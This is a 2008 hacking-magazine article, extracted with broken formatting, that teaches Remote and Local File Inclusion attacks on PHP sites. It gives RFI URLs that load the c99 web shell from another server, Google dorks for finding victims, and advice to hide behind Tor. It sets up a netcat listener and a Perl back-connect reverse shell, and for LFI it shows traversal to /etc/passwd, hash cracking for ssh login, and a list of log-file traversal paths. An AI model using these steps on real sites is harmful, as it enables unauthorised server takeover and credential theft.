www.hakin9.org/enhakin9 1/2008

Attack

n RFI and LFI there are more levels anddynamics than what meets the eye. Bear in mind, I hold absolutely no responsibil-ity whatsoever for someone's so-called

moral

actions or lack thereof. And of course, the old

perform at your own risk

also comes to mind;revel in the hackneyed glory.

RFI

Let us proceed to business. RFI stands for Re-mote File Inclusion. The main idea behind it isthat the given code inserts any given address,albeit local or public, into the supplied includecommand. The way it works is that when a web-site is written in PHP, there is sometimes a bitof inclusion text that directs the given page toanother page, le or what you have. Below is anexample of the code:

include($base_path . "/page1.php");

The include statement above uses the

page1.php

as its le to load. For example, if the user was to browse to the bottom of the page andclick

, he will execute the code that trig-gers the next page to load. In this case, it couldbe

page2.php

depending on how the code iswritten. RFI exploits the include commandto run your script, remotely within the given site.If we can manipulate the

$base _ path

variableto equal our own script/public directory, thenit will run as if it was a normal le on the webserver itself.Given a website that uses the very basicinclude command given above, making it vulner-able to this exploit, and knowing what the givenvariable is by viewing the code in

index.php

(

http: //lameserver-example.com/index.php

) we can

Remote and Local FileInclusion Explained

Gordon Johnson

Difculty

I have always found RFI and LFI to be one of the most interestingconcepts in terms of web exploitation. Although it may normallybe interpreted as the most common, script kiddie-esque form of exploitation, I nd this to be false. When the term script kiddieis used, most people generally think along the lines of point andclick exploitation.What you will learn...

• What Remote and Local File Inclusion are• What makes them tick, how to execute them• How to defend against them by taking proper PHP coding methods

What you should know...

• General understanding of perl and PHP• Basic idea of how an operating system func-tions• Large vernacular in terms of commonly usedUNIX commands, and a large heaping of logic.

RFI, LFI

hakin9 1/2008www.hakin9.org/en

edit

the given variable by placing a

at the end of the selected le, anddening the variable from there. Wecan redene the variable at this pointto some other server's text le else-where that contains PHP. Please, notethat the following situation will be moregeared towards executing a

shell

with-in the provided web server. You mayask: Why only

.txt

? Since this remoteinclusion will use the le as if it wasits own within the server, it is going totreat it as if it was a non-parsed PHPle that needs parsing! Thus, if youwere to take the given text within thetext le and parsed it as PHP, it wouldeventually execute the remotely sup-plied code. Take this as an example:

http://lameserver-example.com/ index.php?base_path=http://another server.com/test.txt?cmd_here

This is an explanation:

lame-server-example.com

is the base tar-geted URL,

index.php

is the le thatis being exploited,

is to allow us totweak the so called blind le to make

base _ path

(the variable) to equalanother le elsewhere. The

text.txt

will be parsed with the command af-ter the

. So far, we have our targetand we know that it will display thetext in a parsed manner. We can seehow valuable this concept really is.You will most likely wish to view andmanipulate the les within the server,possibly even

tweak

them a bit for theadministrator. Thankfully, someonehas already done all of this work for us – there is a

shell

called

c99.txt

.Certainly, there are many shells avail-able that are written for situationssuch as these; one other commonshell is

r57.txt

. However,

c99.txt

isa

web-GUI

command prompt basedshell that has the ability to executemost commands that you would usu-ally execute within a bash shell, suchas

mkdir

, etc. Most importantly,it gives you the ability to see what lesare on the supplied exploited server,and the ability to manipulate them atwill. First off, you need to nd a shellthat can perform the dirty deed. UseGoogle to search for

inurl:c99.txt

.Download it and upload elsewhere tobe used as a text document (

*.txt

). Letus see what the command will looklike once executed within our brows-er:

http://lameserver-example.com/ index.php?base_path=http://another server.com/c99.txt?ls

The only code that changed wasthat we placed our directory andlename for the shell that neededto be parsed. If all went well, we willnow have our shell looking insidethe web server, and will have theability to manipulate our

index.php

to anything we please. The extra bitof code at the end of the questionmark executes the bash commandcalled

, which displays all the leswithin the current directory that thestring of text is being executed with-in. Now let us try out an example of this in the real world (ahem, etherealworld, rather).The majority of people who donot feel like doing the work to ndexploits, normally search in large da-tabases, such as

milw0rm

for a publicexploit, then apply it in the manner given. Other people either use scan-ners, or

Google dorks

. The moretechnically savvy tend to develop their own exploits after studying the scriptfor

holes

, and either keep it as their own exploit, or submit as the

0day

.A Google dork is the act of harness-ing Google's provided tools/phrasesto help lter out what you are brows-ing for. The most success I have hadwhen searching for a particularlyvulnerable page has been with thesearch method of:

"allinurl:postscript.php?p_mode="

Once my target has been found, I trymy code found within the

milw0rm

database. All you need to do nowis to nd what inclusion variable is inuse and add a

after the index.phpalong with the command and thele of ours, conveniently located

Figure 2.

RFI found

Figure 1.

RFI search

Note for Clarication

There are two assumptions being made; one of which is that you understand thatnc.exe is a Windows executable le being executed on your assumed operating sys-tem of choice, and secondly, you would use an alternative to this application to workproperly if using another OS.

Attack

hakin9 1/2008www.hakin9.org/en

elsewhere. Before I go any further,go grab the tor, Vidalia, Privoxy, andTorButton bundle, and install it. Prox-ies are your friend, remember that.But yet again, I only condone this if you own the server, or have exclu-sively been given the right to do so(see Figures 1, 2, 3).Now of course I did not touch thissite of mine at all, and I hid the URL,etc. for very good reason. The pic-tures are pretty much self-explana-tory of what you are capable of doingon here.Lovely! Now when we have anaccess, we can gain a shell back tothe server itself with a back connectmethod. Here is what makes RFIrather interesting: the ability to exploitit even further. All that needs to bedone at this point would be to nda directory that enables you to uploadany le you choose. In this case, wewill upload a Perl script to a RW direc-tory. Though I will not provide a

back-connect

script, you should have noproblem nding it, installing Perl,etc. From this point, the well-knownnetcat program becomes a large partof the tutorial. This will enable us toharness the back-connect script, andconnect to it directory, thus giving usfull access to the server. After gettingnc.exe, the command to be executedis nc

-l -n -v -p 8080

Let us quickly go through whateach command represents after “nc”so it is understood what is occurringon your machine:

-l, -v, -p = listen

to all incoming connections on thespecied port (whatever comes after

-p

-n

species that it must be a nu-meric address only, no DNS (mean-ing IP address only).Proceed back to the RFI exploitedweb page and look for the area whereit states:

Local command

. Within thesupplied text eld, you would needto type the following command: perl

back.pl

<your _ public _ ip _ address _here> 8080

. This will allow the perl bina-ry to execute the code you had recentlyuploaded. The script will run, and giveyou access to the server remotely. If you glance back at your netcat com-mand that was executed earlier, youwill notice that you have connectedto the targeted server. At this point intime, you may execute commands,and attempt to gain root by usingvarious methods. I suggest you type idrst, nd out a bit of information aboutwhat server you are dealing with. Fromthat point, after nding out what kernelit is, nding exploits for that given ker-nel would be necessary to gain root.However, this is another topic for later.Let us try not to stray too far away fromRFI and LFI.As you can see, you can dramati-cally expound upon each method.

LFI

LFI is a

Local File Inclusion

. This iswhen you nd a particular le withina database and uses it against theweb server. Such as

discovering

the faithful

/etc/passwd/ username/password

le, cracking the MD5hash, (the format for encryption is

{CRYPT}$1$salt$encrypted _ pass

) andthen logging in via

ssh

. The methodis pretty much same as above, justa matter of nding the exploitablesite. All same ideas here, except weare now applying a different addresswithin the inclusion, the le locatedby default on the server. One exam-ple on how to nd these particular sites would be to look either for anexploit on

milw0rm

, or do a Googlesearch for:

inurl:home.php?pg=

inurl:index.php?pg=

They are pretty easy to nd, it tookme roughly 40 seconds to nd it (seeFigure 4).All I had to do was to add:

../../../../../../../../../../../../../etc/passwd

after the code stating:

home.php?pg=

How much easier could it get?Now that we have all of this informa-tion in front of us, let us interpret whatit means, and how we may use it toour advantage. The syntax of the textin front of you is

username:passwd:UID:GID:full _ name:directory:shell

However, it appears in our casethat the password is

hidden

aka

Listing 1.

Default Log Locations

../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_log ../../../../../../../usr/local/apache/logs/access.log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_log ../../../../../../../usr/local/apache/logs/error.log ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log